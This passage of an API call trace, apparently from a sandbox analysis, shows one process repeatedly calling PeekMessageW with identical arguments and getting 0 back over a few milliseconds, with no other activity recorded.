wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.514] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.514] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.515] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.515] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.515] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.515] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.515] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.515] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.515] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.515] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.515] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.515] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.515] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.515] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.516] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.517] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.517] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.517] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.517] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.517] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.518] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.518] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.519] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.520] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.521] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.522] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.522] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.522] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.522] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.522] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, 